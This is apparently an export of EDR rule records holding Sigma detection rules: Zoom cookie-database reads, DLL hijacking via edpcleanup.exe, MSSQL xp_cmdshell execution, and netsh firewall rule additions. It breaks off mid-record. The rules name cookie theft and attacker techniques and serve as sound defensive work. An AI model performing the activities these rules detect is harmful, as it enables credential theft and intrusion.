+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.598557Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1539/"
+  ],
+  "name": "t1552_004_read_zoom_sensitive_files_macos.yml",
+  "content": "title: Suspicious Access to Zoom Sensitive Files\nid: 489d592b-0a46-401a-8296-cb95d0abe49a\ndescription: |\n    Detects a suspicious access to Zoom files that hold cookies or sensitive files.\n    Adversaries may steal Zoom application cookies and use them to gain access to the application without needing credentials.\n    It is recommended to verify if the process performing the read operation has legitimate reasons to do so.\nreferences:\n    - https://attack.mitre.org/techniques/T1539/\ndate: 2024/06/18\nmodified: 2025/10/27\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1539\n    - classification.macOS.Source.Filesystem\n    - classification.macOS.Behavior.SensitiveInformation\nlogsource:\n    category: filesystem_event\n    product: macos\ndetection:\n    selection_version:\n        # define minimum version for each branches\n        - AgentVersion|gte|version: 3.6.13\n          AgentVersion|lt|version: 3.7.0\n        - AgentVersion|gte|version: 3.7.11\n          AgentVersion|lt|version: 3.8.0\n        - AgentVersion|gte|version: 3.8.3\n          AgentVersion|lt|version: 3.9.0\n        # all versions above are patched\n        - AgentVersion|gte|version: 3.9.0\n    selection_files:\n        Kind: 'read'\n        Path: '/Users/*/Library/Application Support/zoom.us/data/zoomus.enc.db'\n        ProcessImage|contains: '?'\n\n# Common exclusion\n    ### system app ###\n    filter_systemapp:\n        Image:\n            - '/System/Library/Services/*'\n            - '/System/Library/PrivateFrameworks/*'\n            - '/System/Library/CoreServices/*'\n            - '/System/Library/Frameworks/CoreServices.framework/*'\n            - '/System/Library/ExtensionKit/Extensions/*'\n            - '/System/Library/Frameworks/*'\n            - '/usr/sbin/filecoordinationd'\n    exclusion_systemextension:\n        Image|startswith: '/Library/SystemExtensions/????????-????-????-????-????????????/'\n    exclusion_virtualization:\n        Image: '/System/Library/Frameworks/Virtualization.framework/Versions/A/XPCServices/com.apple.Virtualization.VirtualMachine.xpc/Contents/MacOS/com.apple.Virtualization.VirtualMachine'\n\n    ### security tools ###\n    exclusion_hurukai:\n        Image: '/Applications/HarfangLab Hurukai.app/Contents/MacOS/hurukai'\n    exclusion_fortinet:\n        Image:\n            - '/Library/Application Support/Fortinet/FortiClient/bin/fmon2.app/Contents/MacOS/fmon2'\n            - '/Library/Application Support/Fortinet/FortiClient/bin/fcaptmon'\n            - '/Library/Application Support/Fortinet/FortiClient/bin/scanunit'\n    exclusion_microsoft_defender:\n        Image:\n            - '/Applications/Microsoft Defender.app/Contents/MacOS/wdavdaemon_enterprise.app/Contents/MacOS/wdavdaemon_enterprise'\n            - '/Applications/Microsoft Defender.app/Contents/MacOS/wdavdaemon'\n    exclusion_fsecure:\n        Image:\n            - '/usr/local/f-secure/bin/fscesproviderd.xpc/Contents/MacOS/fscesproviderd'\n            - '/Library/F-Secure/bin/fscesproviderd.xpc/Contents/MacOS/fscesproviderd'\n            - '/Library/F-Secure/bin/fsavd.app/Contents/MacOS/fsavd'\n    exclusion_eset:\n        Image:\n            - '/Applications/ESET Endpoint Security.app/Contents/MacOS/esets_sci'\n            - '/Applications/ESET Endpoint Security.app/Contents/MacOS/esets_daemon'\n            - '/Applications/ESET Endpoint Security.app/Contents/MacOS/esets_gui'\n            - '/Applications/ESET Endpoint Antivirus.app/Contents/MacOS/esets_daemon'\n            - '/Applications/ESET Cyber Security.app/Contents/MacOS/esets_daemon'\n    exclusion_withssecure:\n        Image:\n            - '/Library/WithSecure/bin/wsesproviderd.xpc/Contents/MacOS/wsesproviderd'\n            - '/Library/WithSecure/bin/wsavd.app/Contents/MacOS/wsavd'\n    exclusion_sentinel:\n        Image: '/Library/Sentinel/sentinel-agent.bundle/Contents/MacOS/sentineld_helper.app/Contents/MacOS/sentineld_helper'\n    exclusion_avast:\n        Image: '/Applications/Avast.app/Contents/Backend/utils/com.avast.Antivirus.EndpointSecurity.app/Contents/MacOS/com.avast.Antivirus.EndpointSecurity'\n    exclusion_trend:\n        Image: '/Applications/TrendMicroSecurity.app/Contents/Resources/iCoreService.app/Contents/MacOS/iCoreService'\n    exclusion_sophos:\n        Image: '/Library/Sophos Anti-Virus/SophosScanAgent.app/Contents/MacOS/SophosScanAgent'\n    exclusion_virusscanner:\n        Image: '/Applications/VirusScannerPlus.app/Contents/MacOS/VirusScannerPlus'\n\n    ### backup sofware ###\n    exclusion_backup:\n        Image:\n            - '/Applications/Arq.app/Contents/Resources/ArqAgent.app/Contents/MacOS/ArqAgent'\n            - '/Library/Oxibox/oxibackupd'\n\n    # AtempoLiveNavigator\n    exclusion_hnagent:\n        Image: '/Library/Application Support/HN/base/bin/HNagent'\n\n    exclusion_wddesktop:\n        Image:\n            - '/Library/Application Support/WDDesktop.app/Contents/Resources/kdd'\n            - '/Library/Application Support/WDDesktop.app/Contents/Resources/wdsync'\n\n    ### misc\n    exclusion_vscode:\n        Image:\n            - '/Applications/Visual Studio Code.app/Contents/Frameworks/Code Helper.app/Contents/MacOS/Code Helper'\n            - '/Users/*/Visual Studio Code.app/Contents/Frameworks/Code Helper.app/Contents/MacOS/Code Helper'\n# end common exclusion\n\n    exclusion_birdagent:\n        ProcessImage|endswith: '/bird_agent_stable'\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: '_bird_python_dbg'\n\n    exclusion_paloalto:\n        Image: '/library/application support/paloaltonetworks/traps/bin/pmd'\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'pmd'\n\n    exclusion_cleanmymac:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'com.macpaw.CleanMyMac*'\n\n    exclusion_bitdefender:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'com.bitdefender.bddaemon'\n\n    exclusion_image:\n        ProcessImage:\n            - '/sbin/md5'\n            - '/usr/bin/rsync'\n            - '/opt/homebrew/Cellar/rsync/*/bin/rsync'\n            - '/Users/*/Applications/*/ripgrep/bin/rg'\n            - '/usr/local/Cellar/ripgrep/*/bin/rg'\n\n    condition: all of selection_* and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "489d592b-0a46-401a-8296-cb95d0abe49a",
+  "rule_name": "Suspicious Access to Zoom Sensitive Files",
+  "rule_description": "Detects a suspicious access to Zoom files that hold cookies or sensitive files.\nAdversaries may steal Zoom application cookies and use them to gain access to the application without needing credentials.\nIt is recommended to verify if the process performing the read operation has legitimate reasons to do so.\n",
+  "rule_creation_date": "2024-06-18",
+  "rule_modified_date": "2025-10-27",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1539"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "48a46575-c7c2-4961-a19b-0ccec37622d8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.097023Z",
+  "creation_date": "2026-03-23T11:45:34.097025Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.097030Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_edpcleanup.yml",
+  "content": "title: DLL Hijacking via edpcleanup.exe\nid: 48a46575-c7c2-4961-a19b-0ccec37622d8\ndescription: |\n    Detects potential Windows DLL Hijacking via edpcleanup.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'edpcleanup.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\DMCmnUtils.dll'\n            - '\\DNSAPI.dll'\n            - '\\FirewallAPI.dll'\n            - '\\fwbase.dll'\n            - '\\netutils.dll'\n            - '\\policymanager.dll'\n            - '\\profapi.dll'\n            - '\\SspiCli.dll'\n            - '\\wkscli.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "48a46575-c7c2-4961-a19b-0ccec37622d8",
+  "rule_name": "DLL Hijacking via edpcleanup.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via edpcleanup.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "48a4e8ec-4a97-4420-8fd1-9ce20191c569",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.627719Z",
+  "creation_date": "2026-03-23T11:45:34.627721Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.627726Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql",
+    "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/",
+    "https://attack.mitre.org/techniques/T1190/",
+    "https://attack.mitre.org/techniques/T1133/",
+    "https://attack.mitre.org/techniques/T1059/"
+  ],
+  "name": "t1190_mssql_xp_cmdshell.yml",
+  "content": "title: Suspicious Execution via MSSQL Stored Procedure\nid: 48a4e8ec-4a97-4420-8fd1-9ce20191c569\ndescription: |\n    Detects a suspicious command execution via MSSQL xp_cmdshell extended stored procedure.\n    Attackers can use this stored procedure to execute any Windows command shell on the host with the same permissions of the Microsoft SQL Server instance.\n    It is recommended to check other command executed by MSSQL and identify the source of the connection using authentication events.\nreferences:\n    - https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql\n    - https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/\n    - https://attack.mitre.org/techniques/T1190/\n    - https://attack.mitre.org/techniques/T1133/\n    - https://attack.mitre.org/techniques/T1059/\ndate: 2022/07/15\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.initial_access\n    - attack.t1190\n    - attack.t1133\n    - attack.execution\n    - attack.t1059\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Exploitation\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        Image|endswith: '\\cmd.exe'\n        CommandLine|contains: '\\cmd.exe /c '\n        ParentImage|endswith: '\\sqlservr.exe'\n\n    exclusion_commandline:\n        CommandLine:\n            - '?:\\Windows\\system32\\cmd.exe /c ipconfig /all'\n            - '?:\\Windows\\system32\\cmd.exe /c rename *'\n            - '?:\\Windows\\system32\\cmd.exe /c DEL *'\n            - '?:\\Windows\\system32\\cmd.exe /c RMDIR *'\n            - '?:\\Windows\\system32\\cmd.exe /c ?:\\Program Files\\Microsoft SQL Server\\\\*\\Tools\\Binn\\sqllogship.exe *'\n            - '?:\\Windows\\system32\\cmd.exe /c D:\\\\*'\n            - '?:\\Windows\\system32\\cmd.exe /c E:\\\\*'\n            - '?:\\Windows\\system32\\cmd.exe /c if exist \\\\* rmdir *'\n            - '?:\\Windows\\system32\\cmd.exe /c MKDIR ?:\\\\*'\n            - '?:\\Windows\\system32\\cmd.exe /c md ?:\\\\*'\n            - '?:\\Windows\\system32\\cmd.exe /c if not exist *'\n            - '?:\\Windows\\system32\\cmd.exe /c IF EXIST *'\n            - '?:\\Windows\\system32\\cmd.exe /c copy *'\n            - '?:\\Windows\\system32\\cmd.exe /c xcopy *'\n            - '?:\\Windows\\system32\\cmd.exe /c MOVE/Y *'\n            - '?:\\Windows\\system32\\cmd.exe /c XCOPY ?:\\Program Files\\Microsoft SQL Server\\\\*'\n            - '?:\\Windows\\system32\\cmd.exe /c robocopy ?:\\\\*'\n            - '?:\\Windows\\system32\\cmd.exe /c BCP *'\n            - '?:\\Windows\\system32\\cmd.exe /c ?:\\Inetpub\\wwwroot\\iVue\\iVue_JobAgentStart.vbs'\n            - '?:\\Windows\\system32\\cmd.exe /c powershell.exe -c Get-WmiObject -ComputerName * -Class Win32_Volume -Filter ?DriveType = 3? *'\n            - '?:\\Windows\\system32\\cmd.exe /c ?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe $serviceName = * ; $result = Get-service*| where {($_.name -eq $serviceName -and $_.status -eq ?running?) }*'\n            - '?:\\Windows\\system32\\cmd.exe /c ?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe $hostname=hostname;Get-winEvent -filterHashTable @{logname =*Microsoft-Windows-FailoverClustering/Operational*; id=1201}*'\n            - '?:\\Windows\\system32\\cmd.exe /c powershell.exe $* = systeminfo /s %computername% | findstr /i /c:?Model:? /c:?System Boot Time? /c:?Host Name?;foreach ($* in $*) { if ($* -like ?*Host Name*?)'\n            - '?:\\Windows\\system32\\cmd.exe /c ?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe Get-winEvent *'\n            - '?:\\Windows\\system32\\cmd.exe /c net use'\n            - '?:\\WINDOWS\\system32\\cmd.exe /c ?:\\Inetpub\\wwwroot\\iVue\\iVue_LineToUTF-8_file.vbs /ReportId:*'\n            - '?:\\WINDOWS\\system32\\cmd.exe /c cscript.exe //nologo ?:\\inetpub\\wwwroot\\iVue\\iVue_LineToUTF-8_file.vbs /ReportId:*'\n            - '?:\\WINDOWS\\system32\\cmd.exe /c ?:\\Inetpub\\wwwroot\\iVue\\iVue_startBatchPrint.vbs /RunId:*'\n            - '?:\\WINDOWS\\system32\\cmd.exe /c cscript.exe //nologo ?:\\inetpub\\wwwroot\\iVue\\iVue_startBatchPrint.vbs /RunId:*'\n            - '?:\\Windows\\system32\\cmd.exe /c cscript.exe //nologo ?:\\inetpub\\wwwroot\\ivue\\iVue_JobAgentStart.vbs'\n            - '?:\\Windows\\system32\\cmd.exe /c ?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe [System.TimeZoneInfo]::Local.GetUtcOffset((Get-Date)).TotalMinutes'\n            - '?:\\Windows\\system32\\cmd.exe /c CScript ?:\\Tools\\ICCA_UpdatePtChartAccess.vbs *'\n            - '?:\\Windows\\system32\\cmd.exe /c sqlcmd -E -S * -d RSAdmin -Q EXECUTE [dbo].*'\n            - '?:\\Windows\\system32\\cmd.exe /c sqlcmd -E -S * -d msdb -Q DECLARE @CleanupDate datetime SET*'\n            - '?:\\Windows\\system32\\cmd.exe /c net use ?: /delete'\n            - '?:\\Windows\\system32\\cmd.exe /c sqlcmd -S . -d * -E -s; -W -q EXEC [dbo].[getExtract_*]*'\n            - '?:\\windows\\system32\\cmd.exe /c sqlcmd *-i?:\\\\*.sql'\n            - '?:\\Windows\\system32\\cmd.exe /c wmic volume where Drivetype=3 get caption, freespace, capacity, label'\n            - '?:\\Windows\\system32\\cmd.exe /c wmic /FailFast:ON logicaldisk where (Drivetype =3 and volumename!=RECOVERY AND volumename!=System Reserved) get deviceid,volumename /Format:csv'\n            - '?:\\WINDOWS\\system32\\cmd.exe /c set temp'\n            - '?:\\Windows\\system32\\cmd.exe /c ftp -i -s*'\n            - '?:\\Windows\\system32\\cmd.exe /c echo *'\n            - '?:\\windows\\system32\\cmd.exe /c MOVE *'\n            - '?:\\Windows\\system32\\cmd.exe /c cmd /c *\\_PRT\\Datacard\\Print.BSG.cmd'\n            - '?:\\Windows\\system32\\cmd.exe /c dtexec *'\n            - '?:\\Windows\\system32\\cmd.exe /c osql *'\n            - '?:\\Windows\\system32\\cmd.exe /c WMIC PROCESS WHERE Name=Socle.Exploitation.Agent.exe GET NAME, CREATIONDATE, PROCESSID /FORMAT:csv'\n            - '?:\\Windows\\system32\\cmd.exe /c fsutil *'\n            - '?:\\windows\\system32\\cmd.exe /c *powershell.exe *\\AuditDBA\\\\*_audit_*'\n            - '?:\\Windows\\system32\\cmd.exe /c WMIC SERVICE WHERE *'\n            - '?:\\Windows\\system32\\cmd.exe /c python *\\NextGenCompileResolve\\CRW.pyc*'\n            # dir\n            - '?:\\Windows\\system32\\cmd.exe /c dir D:\\\\*'\n            - '?:\\Windows\\system32\\cmd.exe /c dir E:\\\\*'\n            - '?:\\Windows\\system32\\cmd.exe /c dir F:\\\\*'\n            - '?:\\Windows\\system32\\cmd.exe /c dir G:\\\\*'\n            - '?:\\Windows\\system32\\cmd.exe /c dir \\\\\\\\*'\n            - '?:\\Windows\\system32\\cmd.exe /c DIR ?:\\Program Files\\Microsoft SQL Server\\\\*'\n            - '?:\\Windows\\system32\\cmd.exe /c dir /b *'\n            - '?:\\Windows\\system32\\cmd.exe /c dir /-C *'\n            - '?:\\Windows\\system32\\cmd.exe /c dir /4 /-C /TW *'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "48a4e8ec-4a97-4420-8fd1-9ce20191c569",
+  "rule_name": "Suspicious Execution via MSSQL Stored Procedure",
+  "rule_description": "Detects a suspicious command execution via MSSQL xp_cmdshell extended stored procedure.\nAttackers can use this stored procedure to execute any Windows command shell on the host with the same permissions of the Microsoft SQL Server instance.\nIt is recommended to check other command executed by MSSQL and identify the source of the connection using authentication events.\n",
+  "rule_creation_date": "2022-07-15",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.initial_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059",
+    "attack.t1133",
+    "attack.t1190"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "48c6cf63-7480-4181-ad6b-865dbb4d413c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.070239Z",
+  "creation_date": "2026-03-23T11:45:34.070241Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.070246Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://docs.microsoft.com/fr-fr/windows-server/networking/technologies/netsh/netsh-contexts",
+    "https://attack.mitre.org/techniques/T1562/004/",
+    "https://attack.mitre.org/techniques/T1090/",
+    "https://attack.mitre.org/software/S0108/"
+  ],
+  "name": "t1562_004_netsh_firewall_add_rule.yml",
+  "content": "title: New Rule added to the Windows Firewall Policy via Netsh\nid: 48c6cf63-7480-4181-ad6b-865dbb4d413c\ndescription: |\n    Detects a new rule added to the Windows firewall's policy using Netsh.\n    Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage.\n    Changes could be disabling the entire mechanism as well as adding, deleting, or modifying particular rules.\n    It is recommended to investigate the added firewall rule, as well as the execution context and surrounding detections to determine if this action was legitimate.\nreferences:\n    - https://docs.microsoft.com/fr-fr/windows-server/networking/technologies/netsh/netsh-contexts\n    - https://attack.mitre.org/techniques/T1562/004/\n    - https://attack.mitre.org/techniques/T1090/\n    - https://attack.mitre.org/software/S0108/\ndate: 2021/05/06\nmodified: 2025/04/15\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.004\n    - attack.t1090\n    - attack.s0108\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.ImpairDefenses\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_bin:\n        - Image|endswith: '\\netsh.exe'\n        - OriginalFileName: 'netsh.exe'\n    selection_cmd:\n        CommandLine|contains|all:\n            - ' advfirewall '\n            - ' add '\n            - ' rule '\n            - ' name='\n            - ' action='\n\n    exclusion_command:\n        CommandLine|contains:\n            - 'name=?FusionInventory-Agent'\n            - 'name=FusionInventory-Agent'\n            - 'name=Dropbox'\n            # PRTG_Network_Monitor / PRTG_Network_Monitor_Admin_Tool / PRTG_Network_Monitor_Application_Server / PRTG_Network_Monitor_Server / PRTG_Network_Monitor_Probe\n            - 'name=?PRTG_Network_Monitor'\n            - 'name=PRTG_Network_Monitor'\n            - 'name=?Intel(R) System Usage Report -'\n            - 'name=?BlueStacks Service Hyper-V'\n            - 'name=?BlueStacks Service'\n            - 'name=PRTG_Network_Monitor_Admin_Tool '\n            - 'name=PRTG_Network_Monitor_Probe '\n            - 'name=PRTG_Network_Monitor_Application_Server '\n            - 'name=PRTG_Network_Monitor_Server '\n            - 'name=One Dragon Center Bridge '\n            - 'name=RecoveritUDPAccessInboundRule '\n            - 'name=RecoveritTCPAccessInboundRule '\n            - 'name=Sentinel RMS License Manager '\n            # C:\\WINDOWS\\system32\\netsh.exe advfirewall firewall add rule name=starleaf S-1-5-21-3198272496-3173654091-250741777-1010 program=C:\\Users\\xxxxx\\AppData\\Local\\starleaf\\starleaf\\2\\starleafc.exe protocol=ANY dir=in action=allow\n            - 'name=starleaf S-1-5-21-'\n            - 'name=RecoveritRSUDPAccessInboundRule'\n            - 'name=RecoveritRSTCPAccessInboundRule'\n            - 'name=FusionInventory-Agent program=?:\\Program Files\\FusionInventory-Agent\\perl\\bin\\perl.exe'\n            - 'name=FusionInventory-Agent program=?:\\Program Files\\FusionInventory-Agent\\perl\\bin\\fusioninventory-agent.exe'\n            - 'name=MSExchangeIS dir=in action=allow program=?:\\Program Files\\Microsoft\\Exchange Server\\V1?\\bin\\Microsoft.Exchange.Worker.exe'\n            - 'name=MSExchangeIS dir=in action=allow program=?:\\Program Files\\Microsoft\\Exchange Server\\V1?\\bin\\Microsoft.Exchange.Store.Service.exe'\n            - 'name=ActivePresenter License Activator program=?:\\Program Files (x86)\\ATOMI\\ActivePresenter\\rlactivator.exe dir='\n            - 'name=ActivePresenter program=?:\\Program Files (x86)\\ATOMI\\ActivePresenter\\ActivePresenter.exe dir='\n            - 'name=Wildix Integration Service dir=in action=allow program=?:\\Program Files\\Wildix\\WIService\\wiservice.exe'\n            - 'name= program=?:\\Program Files\\GLPI-Agent\\perl\\bin\\glpi-agent.exe description= outgoing traffic dir=out action=allow'\n            - 'name= program=?:\\Program Files\\GLPI-Agent\\perl\\bin\\glpi-agent.exe description= embedded HTTP server incoming traffic protocol=TCP dir=in localport='\n            - 'name=glpi agent program=?:\\program files\\glpi-agent\\perl\\bin\\glpi-agent.exe description=glpi agent outgoing traffic dir=out action=allow'\n            - 'name=glpi agent program=?:\\program files\\glpi-agent\\perl\\bin\\glpi-agent.exe description=glpi agent embedded http server incoming traffic protocol=tcp dir=in localport=* action=allow'\n            - 'name=GLPI Agent program= description=GLPI Agent embedded HTTP server incoming traffic protocol=TCP dir=in localport=* action=allow'\n            - 'name=devolo Cockpit program=?:\\Program Files (x86)\\devolo\\dlan\\devolonetsvc.exe dir=in action=allow profile=any localport='\n            - 'name=devolo Cockpit program=?:\\Program Files\\devolo\\dlan\\devolonetsvc.exe dir=in action=allow profile=any localport='\n            - 'name=SWVisualize????.Queue.Server protocol=TCP dir=in localport=???? action=allow' # SOLIDWORKS Corp\n            - '?:\\WINDOWS\\SysWOW64\\netsh.exe advfirewall firewall add rule name=MSMPI-SMPD dir=in action=allow program=?:\\Program Files\\Microsoft MPI\\Bin\\smpd.exe'\n            - '?:\\WINDOWS\\SysWOW64\\netsh.exe advfirewall firewall add rule name=MSMPI-SMPD dir=out action=allow program=?:\\Program Files\\Microsoft MPI\\Bin\\smpd.exe'\n            - '?:\\WINDOWS\\SysWOW64\\netsh.exe advfirewall firewall add rule name=MSMPI-LaunchSvc dir=in action=allow program=?:\\Program Files\\Microsoft MPI\\Bin\\msmpilaunchsvc.exe'\n            - '?:\\WINDOWS\\SysWOW64\\netsh.exe advfirewall firewall add rule name=MSMPI-LaunchSvc dir=out action=allow program=?:\\Program Files\\Microsoft MPI\\Bin\\msmpilaunchsvc.exe'\n            - '?:\\WINDOWS\\SysWOW64\\netsh.exe advfirewall firewall add rule name=MSMPI-MPIEXEC dir=in action=allow program=?:\\Program Files\\Microsoft MPI\\Bin\\mpiexec.exe profile=any'\n            - '?:\\WINDOWS\\SysWOW64\\netsh.exe advfirewall firewall add rule name=MSMPI-MPIEXEC dir=out action=allow program=?:\\Program Files\\Microsoft MPI\\Bin\\mpiexec.exe profile=any'\n            - '?:\\windows\\system32\\netsh.exe advfirewall firewall add rule name=msi center - syncserver dir=in protocol=tcp localport=33683 action=allow'\n            - '?:\\windows\\system32\\netsh.exe advfirewall firewall add rule name=xddclient dir=in action=allow program=?:\\program files (x86)\\ivanti\\epm agent\\base engine\\xddclient.exe enable=yes profile=domain'\n            - '?:\\windows\\system32\\netsh advfirewall firewall add rule name=taniumclient.exe dir=in action=allow protocol=tcp localport=17472 enable=yes profile=any program=?:\\program files (x86)\\tanium\\tanium client\\taniumclient.exe'\n\n    exclusion_programfiles:\n        ParentImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n\n    exclusion_fiery:\n        GrandparentImage: '?:\\Program Files (x86)\\FPDU\\Fiery Driver Updater.exe'\n\n   